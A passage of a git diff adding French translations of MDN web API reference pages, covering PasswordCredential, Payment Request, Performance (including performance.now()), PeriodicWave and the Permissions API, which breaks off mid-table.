+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.PasswordCredential")}}</p>
diff --git a/files/fr/web/api/passwordcredential/passwordname/index.html b/files/fr/web/api/passwordcredential/passwordname/index.html
new file mode 100644
index 0000000000..d1399f8d18
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/passwordname/index.html
@@ -0,0 +1,52 @@
+---
+title: PasswordCredential.passwordName
+slug: Web/API/PasswordCredential/passwordName
+tags:
+  - API
+  - Credential Management API
+  - PasswordCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/PasswordCredential/passwordName
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}{{Deprecated_header}}</p>
+
+<p>La propriété <strong><code>passwordName</code></strong>, rattachée à l'interface {{domxref("PasswordCredential")}}, est une chaîne de caractères {{domxref("USVString")}} qui indique le nom utilisé pour dénommer le champ relatif au mot de passe lors de l'envoi de l'objet courant au point d'accès distant avec {{domxref("fetch")}}. Par défaut, cette propriété vaut <code>'password'</code> mais il est possible de la modifier afin qu'elle corresponde à la valeur attendue par le service distant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var passwordName = PasswordCredential.passwordName
+PasswordCredential.passwordName = "passcode"</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères  {{domxref("USVString")}} qui représente le nom du champ pour le mot de passe. Ce nom sera utilisé lors de l'envoi de l'objet courant au point d'accès distant avec {{domxref("fetch")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.passwordName")}}</p>
diff --git a/files/fr/web/api/payment_request_api/index.html b/files/fr/web/api/payment_request_api/index.html
new file mode 100644
index 0000000000..78434d825c
--- /dev/null
+++ b/files/fr/web/api/payment_request_api/index.html
@@ -0,0 +1,125 @@
+---
+title: Payment Request API
+slug: Web/API/Payment_Request_API
+translation_of: Web/API/Payment_Request_API
+---
+<div>{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}</div>
+
+<p><span class="seoSummary">L'API <em>Payment Request</em> fournit une expérience utilisateur cohérente à la fois pour les acheteurs et pour les vendeurs. Ce n'est pas une nouvelle façon de payer ses achats, c'est plutôt une façon pour les utilisateurs de sélectionner leur moyen de paiement privilégié et de rendre cete information disponible pour le marchand.</span></p>
+
+<h2 id="Concepts_et_usages_de_l'API_Payment_Request">Concepts et usages de l'API <em>Payment Request</em></h2>
+
+<p>De nombreux problèmes concernant l'abandon du panier d'achat en ligne peuvent découler de formulaires de validation finale longs et difficiles à remplir, et nécessitant souvent plusieurs étapes. L'<strong>API <em>Payment Request</em> </strong>a pour vocation de réduire le nombre d'étapes nécessaires pour terminer un paiement en ligne, faisant potentiellement ainsi diparaître les formulaires de validation finale. Elle vise à rendre le processus de validation final plus facile en conservant les informations de l'utilisateur, qui sont transmises au marchant sans nécessiter de formulaire HTML.</p>
+
+<p>Les avantages de l'utilisation de l'API <em>Payment Request</em> avec des règlements par cartes ("basic-card") :</p>
+
+<ul>
+ <li><strong>Une expérience d'achat rapide </strong>: les utilisateurs renseignent leurs informations une fois dans le navigateur et sont alors prêts pour payer des biens et services en ligne. Ils n'ont plus besoin de renseigner les mêmes informations à chaque fois sur différents sites.</li>
+ <li><strong>Une expérience cohérente sur chaque site qui fonctionne avec l'API :</strong> dans la mesure où l'affichage des informations de paiement est contrôlé par le navigateur, celui-ci peut adapter l'expérience de l'utilisateur. Ceci peut impliquer d'afficher l'interface utilisateur dans le langage favori de l'utilisateur.</li>
+ <li><strong>L'accessibilité </strong>: dans la mesure où le navigateur contrôle les éléments à renseigner concernant le paiment, il peut garantir une accessibilité du clavier et de l'écran sur chaque site sans intervention des développeurs. Un navigateur pourrait aussi adapter la taille de la fonte ou le contraste de couleur de la page de paiement,  pour la rendre plus agréable d'utilisation.</li>
+ <li><strong>La gestion des indentificants </strong>: les utilisateurs peuvent gérer leurs cartes de crédit ou leurs adresses de livraison directement dans le navigateur. Un navigateur peut aussi synchroniser ces identifiants avec d'autres appareils, permettant ainsi au utilisateurs d'aller d'un appareil à l'autre lorsqu'ils font leurs achats.</li>
+ <li><strong>Une gestion des erreurs cohérente :</strong> le navigateur peut vérifier la validité des numéros de carte et peut indiquer si la carte de l'utilisateur a expiré ou est sur le point de l'être. Le navigateur peut automatiquement suggérer quelle carte utiliser sur la base des utilisations précédentes ou les restrictions du marchant (par exemple : "Nous n'acceptions que les cartes Visa et Mastercard"), ou encore permettre à l'utilisateur d'indiquer quelle est leur carte par défault.</li>
+</ul>
+
+<p>Pour demander un paiement, une page web crée un {{domxref("PaymentRequest")}} objet en réponse à une action de l'utilisateur qui initie un paiement, comme cliquer sur un bouton "Achat". Le <code>PaymentRequest</code> permet à la page web d'interagir avec l'utilisateur prendant qu'il donne les information pour terminer la transaction.</p>
+
+<p>Vous pouvez trouver un guide complet dans l'article <a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: L'API est disponible à l'intérieur des éléments cross-origin {{htmlelement("iframe")}} seulement si on leur a affecté l'attribut  {{htmlattrxref("allowpaymentrequest","iframe")}}.</p>
+</div>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref('PaymentAddress')}}</dt>
+ <dd>Un objet qui contient l'information "adresse". Utilisé par exemple pour les adresses de facturation et d'expédition.</dd>
+ <dt>{{domxref('PaymentRequest')}}</dt>
+ <dd>Un objet qui fournit l'API pour créer et gérer l'interface de paiement de {{Glossary("user agent", "l'agent utilisateur")}}.</dd>
+ <dt>{{domxref('PaymentRequestEvent')}}</dt>
+ <dd>Un événement fourni au gestionnaire de paiement lorsque un {{domxref("PaymentRequest")}} est fait.</dd>
+ <dt>{{domxref('PaymentRequestUpdateEvent')}}</dt>
+ <dd>Permet à la page web de mettre à jour les détails de la requête de paiement en réponse à une action de l'utilisateur.</dd>
+ <dt>{{domxref('PaymentMethodChangeEvent')}}</dt>
+ <dd>Représente une modification du moyen de paiement effectuée par l'utilisateur (par exemple, remplacer une carte de crédit par une autre ou par un autre moyen de paiement en ligne).</dd>
+ <dt>{{domxref('PaymentResponse')}}</dt>
+ <dd>Un objet renvoyé après que l'utilisateur ait sélectionné un moyen de paiement et approuvé une demande de paiement.</dd>
+ <dt>{{domxref('MerchantValidationEvent')}}</dt>
+ <dd>Correspond à la demande effectuée par le navigateur vers le site marchand afin de valider le fait qu'il a la possibilité/permission d'utiliser un gestionnaire de paiement spécifique (par exemple, enregistré/validé pour utiliser Apple Pay).</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Dictionnaires">Dictionnaires</h2>
+
+<dl>
+ <dt>{{domxref("AddressErrors")}}</dt>
+ <dd>Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs dans toutes les entrées {{domxref("PaymentAddress")}} qui contiennent des erreurs.</dd>
+ <dt>{{domxref("PayerErrors")}}</dt>
+ <dd>Un dictionnaire contenant des chaînes de caractère qui fournissent des explications concernant toutes les erreurs en relations avec les attributs email, téléphone et nom de {{domxref("PaymentResponse")}}.</dd>
+ <dt>{{domxref("PaymentDetailsUpdate")}}</dt>
+ <dd>Un objet qui décrit les changements qui doivent être apportés aux détails du paiement dans l'événement dont le serveur à besoin pour mettre à jour l'information à la suite de l'instanciation de l'interface de paiment mais avant que l'utilisateur ne commence à interagir avec.</dd>
+</dl>
+
+<h3 id="Dictionnaires_connexes_pour_la_specification_Basic_Card">Dictionnaires connexes pour la specification <em>Basic Card</em></h3>
+
+<dl>
+ <dt>{{domxref("BasicCardChangeDetails")}}</dt>
+ <dd>Un objet qui donne l'information "<em>redacted</em> address" qui est fournie comme {{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}} dans l'événement {{event("paymentmethodchange")}} envoyé à {{domxref("PaymentRequest")}} lorsque l'utilisateur modifie les informations de paiement.</dd>
+ <dt>{{domxref("BasicCardErrors")}}</dt>
+ <dd>Un message qui fournit tous les messages d'erreur associés avec les champs qui ne sont pas valides dans l'objet {{domxref("BasicCardResponse")}}. Il est utilisé comme valeur de la propriété {{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}} dans l'objet {{domxref("PaymentValidationErrors")}} envoyé au {{domxref("PaymentRequest")}} lorsqu'une erreur se produit.</dd>
+ <dt>{{domxref('BasicCardRequest')}}</dt>
+ <dd>Définit une structure d'objet pour contenir les détails d'une requête de paiement, par exemple le type de carte de paiement.</dd>
+ <dt>{{domxref('BasicCardResponse')}}</dt>
+ <dd>Définit une structure d'objet pour les détails de la réponse de paiement tels que le numéro ou la date d'expiration d'une carte utilisée pour faire le paiement, et l'adresse de facturation.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment')}}</td>
+   <td>{{Spec2('Payment')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Basic Card Payment')}}</td>
+   <td>{{Spec2('Basic Card Payment')}}</td>
+   <td>Defines {{domxref("BasicCardRequest")}} and {{domxref("BasicCardResponse")}}, among other things needed for handling credit card payment</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Payment Method Identifiers')}}</td>
+   <td>{{Spec2('Payment Method Identifiers')}}</td>
+   <td>Defines payment method identifiers and how they are validated, and, where applicable, minted and formally registered with the W3C.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="PaymentRequest_interface">PaymentRequest interface</h3>
+
+<div>
+
+
+<p>{{Compat("api.PaymentRequest", 0)}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Using_the_Payment_Request_API">Using the Payment Request API</a></li>
+ <li><a href="/en-US/docs/Web/API/Payment_Request_API/Concepts">Payment processing concepts</a></li>
+ <li><a href="https://webkit.org/blog/8182/introducing-the-payment-request-api-for-apple-pay/">Introducing the Payment Request API for Apple Pay</a></li>
+ <li><a href="https://developers.google.com/pay/api/web/guides/paymentrequest/tutorial">Google Pay API PaymentRequest Tutorial</a></li>
+ <li><a href="https://github.com/w3c/payment-request-info/wiki/FAQ">W3C Payment Request API FAQ</a></li>
+</ul>
diff --git a/files/fr/web/api/performance/index.html b/files/fr/web/api/performance/index.html
new file mode 100644
index 0000000000..e139a6ac71
--- /dev/null
+++ b/files/fr/web/api/performance/index.html
@@ -0,0 +1,119 @@
+---
+title: Performance
+slug: Web/API/Performance
+tags:
+  - API
+  - Performance
+  - Performance Web
+translation_of: Web/API/Performance
+---
+<div>{{APIRef("Navigation Timing")}}</div>
+
+<p>L'interface <strong><code>Performance</code></strong> donne accès à des informations liées aux performances pour la page actuelle. Elle fait partie de l'API High Resolution Time, mais est complétée par les APIs <a href="/en-US/docs/Web/API/Performance_Timeline">Performance Timeline</a>, <a href="/en-US/docs/Web/API/Navigation_timing_API">Navigation Timing</a>, <a href="/en-US/docs/Web/API/User_Timing_API">User Timing</a>, et <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing</a>.</p>
+
+<p>Un objet de ce type peut être obtenu en appelant  l'attribut en lecture seule {{domxref("Window.performance")}}.</p>
+
+<div class="note">
+<p><strong><em>Note</em>: </strong>Cette interface et ses attributs sont accessibles aux {{domxref("Web Worker")}} sauf dans les cas cités ci-dessous. Notez également que les marqueurs et les mesures de performance sont définis par contexte. Si vous créez un marqueur dans le processus principal (ou un autre Web Worker), vous ne pourrez pas le voir dans le processus du Web Worker, et réciproquement.</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>L'interface<code>Performance</code> n'hérite d'aucune propriété.</em></p>
+
+<dl>
+ <dt>{{deprecated_inline}}  {{domxref("performance.navigation")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("PerformanceNavigation")}} est un objet qui fournit des informations contextuelles sur les opérations inclues dans les indicateurs de <code>timing</code>, notamment si la page a été chargée ou actualisée, combien de redirections ont été effectuées, etc… Indisponible dans les Web Workers.</dd>
+</dl>
+
+<dl>
+ <dt>{{deprecated_inline}}  {{domxref("performance.timing")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("PerformanceTiming")}} est un objet contenant des informations de performance liées à la latence. Indisponible dans les Web Workers.</dd>
+ <dt>{{domxref("performance.memory")}} {{Non-standard_inline}}</dt>
+ <dd>{{domxref("PerformanceNavigation")}} est un objet non-standard ajouté dans Chrome, contenant des informations basiques d'utilisation de la mémoire.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em><em>L'interface <code>Performance</code> n'hérite d'aucune méthode</em></em>.</p>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("performance.clearMarks()")}}</dt>
+ <dd>Supprime le <em>marqueur</em> indiqué des données de performances du navigateur mises en mémoire tampon.</dd>
+ <dt>{{domxref("performance.clearMeasures()")}}</dt>
+ <dd>Supprime la <em>mesure</em> indiquée des données de performances du navigateur mises en mémoire tampon.</dd>
+ <dt>{{domxref("performance.clearResourceTimings()")}}</dt>
+ <dd>Supprime toutes les {{domxref("PerformanceEntry","entrées de performance")}} avec un {{domxref("PerformanceEntry.entryType","entryType")}} "<code>resource</code>" des données de performances du navigateur mises en mémoire tampon.</dd>
+ <dt>{{domxref("performance.getEntries()")}}</dt>
+ <dd>Retourne une liste d'objets {domxref("PerformanceEntry")}} basée sur le <em>filter</em> indiqué.</dd>
+ <dt>{{domxref("performance.getEntriesByName()")}}</dt>
+ <dd>Retourne une liste d'objets {{domxref("PerformanceEntry")}} basée sur le <em>nom</em> d'entrée indiqué.</dd>
+ <dt>{{domxref("performance.getEntriesByType()")}}</dt>
+ <dd>Retourne une liste d'objets {{domxref("PerformanceEntry")}} basée sur le <em>type</em> d'entrée indiqué.</dd>
+ <dt>{{domxref("performance.mark()")}}</dt>
+ <dd>Crée un {{domxref("DOMHighResTimeStamp","timestamp")}} avec le nom indiqué, dans la mémoire tampon du navigateur dédiée aux performances.</dd>
+ <dt>{{domxref("performance.measure()")}}</dt>
+ <dd>Crée un {{domxref("DOMHighResTimeStamp","timestamp")}} nommé, dans la mémoire tampon du navigateur dédiée aux performances, entre deux marqueurs spécifiques (connus comme le <em>marqueur de début</em> et le <em>marqueur de fin</em>, respectivement).</dd>
+</dl>
+
+<p> </p>
+
+<dl>
+ <dt>{{domxref("Performance.now()")}}</dt>
+ <dd>Retourne un objet {{domxref("DOMHighResTimeStamp")}} représentant le nombre de millisecondes écoulées depuis un instant donné.</dd>
+ <dt>{{domxref("performance.setResourceTimingBufferSize()")}}</dt>
+ <dd>Configure la taille de la mémoire tampon pour le chronométrage des ressources du navigateur, avec le nombre indiqué de {{domxref("PerformanceEntry.entryType","type")}} d'{{domxref("PerformanceEntry","performance entry")}}objets "<code>resource</code>" .</dd>
+ <dt>{{domxref("Performance.toJSON()")}} {{non-standard_inline}}</dt>
+ <dd>Retourne un objet JSON représentant l'objet <code>Performance</code>.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<p>Écoutez ces événéments en utilisant <code>addEventListener()</code> ou en assignant un écouteur d'événément à la propriété <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">on<em>EventName</em> de cette interface.</span></font></p>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/resourcetimingbufferfull_event">resourcetimingbufferfull</a></code></dt>
+ <dd>Déclenchée quaund les ressources de la mémoire tampon du navigateur pour le chronométrage est pleine.<br>
+ Également disponible via la propriété <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Performance/onresourcetimingbufferfull">onresourcetimingbufferfull</a></code>.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#sec-extenstions-performance-interface', 'Performance')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Ajout de la méthode <code>now()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance")}}</p>
+</div>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Interfaces liées : {{domxref("PerformanceTiming")}}, {{domxref("PerformanceNavigation")}}.</li>
+</ul>
diff --git a/files/fr/web/api/performance/navigation/index.html b/files/fr/web/api/performance/navigation/index.html
new file mode 100644
index 0000000000..7435d8c4ae
--- /dev/null
+++ b/files/fr/web/api/performance/navigation/index.html
@@ -0,0 +1,52 @@
+---
+title: Performance.navigation
+slug: Web/API/Performance/navigation
+tags:
+  - HTTP
+  - Performance
+  - Propriété
+  - lecture seule
+translation_of: Web/API/Performance/navigation
+---
+<p>{{APIRef("Navigation Timing")}}</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>La propriété en lecture seule <code><strong>Performance</strong></code><strong><code>.navigation</code></strong> permet d'accéder à un objet de type {{domxref("PerformanceNavigation")}} représentant la navigation qui a lieu dans le contexte courant, par êxemple, le nombre de redirections.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>navObject</em> = <em>performance</em>.navigation;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.navigation')}}</td>
+   <td>{{Spec2('Navigation Timing')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Performance.navigation")}}</p>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("Performance")}} interface it belongs to.</li>
+</ul>
diff --git a/files/fr/web/api/performance/now/index.html b/files/fr/web/api/performance/now/index.html
new file mode 100644
index 0000000000..6c325d6d4d
--- /dev/null
+++ b/files/fr/web/api/performance/now/index.html
@@ -0,0 +1,77 @@
+---
+title: Performance.now()
+slug: Web/API/Performance/now
+tags:
+  - API
+  - API Performance Web
+  - Méthode
+  - Performance
+  - Reference
+translation_of: Web/API/Performance/now
+---
+<p>{{APIRef("High Resolution Timing")}}</p>
+
+<p>La méthode <code><strong>Performance.now()</strong></code> retourne un {{domxref("DOMHighResTimeStamp")}}, mesuré en millisecondes, avec une précision de 5 millième de milliseconde (5 microsecondes).</p>
+
+<p> </p>
+
+<p>La valeur retournée représente le temps écoulé depuis l'origine de temps.</p>
+
+<p>Gardez présents à l'esprit les points suivants :</p>
+
+<ul>
+ <li>Dans les workers dédiés créés à partir d'un contexte {{domxref("Window")}}, la valeur dans le worker sera inférieure à <code>performance.now()</code> dans la fenêtre qui a créé ce worker. C'était auparavant la même chose que le <code>t0</code> du contexte principal, mais cela a été changé.</li>
+ <li>Dans les workers partagés ou de service, la valeur dans le worker peut être supérieure à celle du contexte principal, car cette fenêtre peut être créée après ces workers.</li>
+</ul>
+
+<p> </p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<div class="geckoVersionNote">
+<p class="syntaxbox">t = performance.now();</p>
+</div>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js">var t0 = performance.now();
+faireQuelqueChose();
+var t1 = performance.now();
+console.log("L'appel à faireQuelqueChose a pris " + (t1 - t0) + " millisecondes.")
+</pre>
+
+<p>Contrairement aux autres données de temps disponibles en JavaScript (par exemple <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now" title="/en-US/docs/JavaScript/Reference/Global_Objects/Date/now"><code>Date.now</code></a>), les horodatages retournés par <code>Performance.now()</code> ne sont pas limités à une précision d'une milliseconde. Au contraire, ils représentent les temps comme des nombres flottants avec une précision pouvant aller jusqu'à une microseconde.</p>
+
+<p>Également contrairement à <code>Date.now()</code>, les valeurs retournées par <code>Performance.now() </code>sont toujours incrémentées à un taux constant, indépendant de l'horloge du système (qui peut être ajustée manuellement ou par l'intermédiaire d'un logiciel comme NTP). Sinon, <code>performance.timing.navigationStart + performance.now()</code> sera approximativement égal à <code>Date.now().</code></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}</td>
+   <td>{{Spec2('Highres Time Level 2')}}</td>
+   <td>Définitions plus strictes des interfaces et des types.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Highres Time', '#dom-performance-now', 'Performance.now()')}}</td>
+   <td>{{Spec2('Highres Time')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Performance.now")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now" title="http://updates.html5rocks.com/2012/08/When-milliseconds-are-not-enough-performance-now">When milliseconds are not enough: performance.now() </a>de HTML5 Rocks.</li>
+</ul>
diff --git a/files/fr/web/api/periodicwave/index.html b/files/fr/web/api/periodicwave/index.html
new file mode 100644
index 0000000000..0bd576e5b9
--- /dev/null
+++ b/files/fr/web/api/periodicwave/index.html
@@ -0,0 +1,72 @@
+---
+title: PeriodicWave
+slug: Web/API/PeriodicWave
+tags:
+  - API
+  - Interface
+  - Media
+  - PeriodicWave
+  - Reference
+  - Web Audio
+  - Web Audio API
+  - sinusoïdal
+  - sinusoïde
+translation_of: Web/API/PeriodicWave
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>L'objet <strong><code>PeriodicWave</code></strong> permet de définir une forme d'onde personnalisée, pouvant être utilisée comme sortie d'un {{domxref("OscillatorNode")}}.</p>
+</div>
+
+<p><code>PeriodicWave</code> n'a ni entrée ni sortie ; elle doit être créée avec {{domxref("AudioContext.createPeriodicWave()")}} et être assignée à un OscillatorNode avec {{domxref("OscillatorNode.setPeriodicWave()")}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("PeriodicWave.PeriodicWave()")}}</dt>
+ <dd>Crée une <code>PeriodicWave</code> (onde périodique) avec toutes les valeurs optionelles mises par défaut. Pour établir des valeurs personnalisées, il faut utiliser le constructeur {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Aucune; par ailleurs, <code>PeriodicWave</code> n'hérite d'aucune propriété.</em></p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Aucune; par ailleurs, <code>PeriodicWave</code> n'hérite d'aucune méthode.</em></p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>{{page("/fr/docs/Web/API/BaseAudioContext/createPeriodicWave","Exemple")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#periodicwave', 'PeriodicWave')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+
+
+<p>{{Compat("api.PeriodicWave")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Utiliser l'API Web Audio</a></li>
+</ul>
diff --git a/files/fr/web/api/permissions_api/index.html b/files/fr/web/api/permissions_api/index.html
new file mode 100644
index 0000000000..9fe28e07e7
--- /dev/null
+++ b/files/fr/web/api/permissions_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Permissions API
+slug: Web/API/Permissions_API
+translation_of: Web/API/Permissions_API
+---
+<p>{{DefaultAPISidebar("Permissions API")}}{{SeeCompatTable}}</p>
+
+<div class="summary">
+<p>Les permissions d'API fournissent une manière consistente de demander programatiquement le statut des permissions dans le context courrant— par exemple, si l'autorisation d'utiliser l'API est accordée ou refusée, <span style="font-size: 1rem; letter-spacing: -0.00278rem;">et si l'utilisateur sera invité à indiquer si une autorisation doit être accordée pour une AP</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;">I.</span></p>
+</div>
+
+<h2 id="Conceptes_et_usages">Conceptes et usages</h2>
+
+<p>Historiquement les differentes API gérée leur propres permissions inconsistamment — par example l'API <a href="/en-US/docs/Web/API/Notifications_API">Notifications</a> permet de vérifier explicitement sont status d'autorisation et et d'en faire la demande, alors que l'API de <a href="/en-US/docs/Web/API/Geolocation">Geolocation</a> ne le fait pas (ce qui peut poser des problèmes si l'utilisateur décline la première demande d'autorisation). L'API de permissions fournit l'outil pour autorisé les déveloopers à implementes une meilleure expérience utilisteur.</p>
+
+<p>La propriétée <code>permissions</code> a rendu disponible dans l'objet {{domxref("Navigator")}}, ainsi que dans le context standard du navigateur browsin et dans le context du worker ({{domxref("WorkerNavigator")}} — donc les vérificationd de permissions sont disponible dans les workers), et retournent un obet {{domxref("Permissions")}} qui fournit l'accés aux fonctionalité des Permissions API.</p>
+
+<p>Une fois que vous avez cette objet vous pouvez effectuer une tache nécéssitant des permissions, par exemple demander la permission en utilisant la méthode {{domxref("Permissions.query()")}} pour retourner une promesse qui résous avec {{domxref("PermissionStatus")}} pour une API spécifique.</p>
+
+<p>Toutes les status de permissions d'API ne peuvent être demandé en utilisant Permissions API. API notables prenant en compte les autorisations:</p>
+
+<div class="twocolumns">
+<ul>
+ <li>
+  <p><a href="/en-US/docs/Web/API/Clipboard_API">Clipboard API</a></p>
+ </li>
+ <li>
+  <p><a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a></p>
+ </li>
+ <li>
+  <p><a href="/en-US/docs/Web/API/Push_API">Push API</a></p>
+ </li>
+ <li>
+  <p>Web MIDI API</p>
+ </li>
+</ul>
+</div>
+
+<p>Plus d'APIs devrais être supporté par Permissions API dans le future.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Nous avons fait un exemple simple appelé Location Finder. Vous pouvez <a href="https://chrisdavidmills.github.io/location-finder-permissions-api/">lancer cet exemple en live ici</a>, ou <a href="https://github.com/chrisdavidmills/location-finder-permissions-api/tree/gh-pages">voire le code source sur Github</a>.</p>
+
+<p>Ou en lire plus sur comment cela fonctionne dans notre article <a href="/en-US/docs/Web/API/Permissions_API/Using_the_Permissions_API">Utiliser Permissions API</a>.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Navigator.permissions")}} et {{domxref("WorkerNavigator.permissions")}} {{readonlyinline}}</dt>
+ <dd>Fournit l'accés à l'objet {{domxref("Permissions")}} depuis context principal ainsi que celui du worker.</dd>
+ <dt>{{domxref("Permissions")}}</dt>
+ <dd>Fournit la principale fonctionalité de Permission API, tel que les methodes de demande et revocation de permissions.</dd>
+ <dt>{{domxref("PermissionStatus")}}</dt>
+ <dd>Fournit l'accés au status actuel d'une permission, et un gestionnaire d'évenement pour répondre au changements de status d'une permission.</dd>
+</dl>
+
+<h2 id="Specification">Specification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
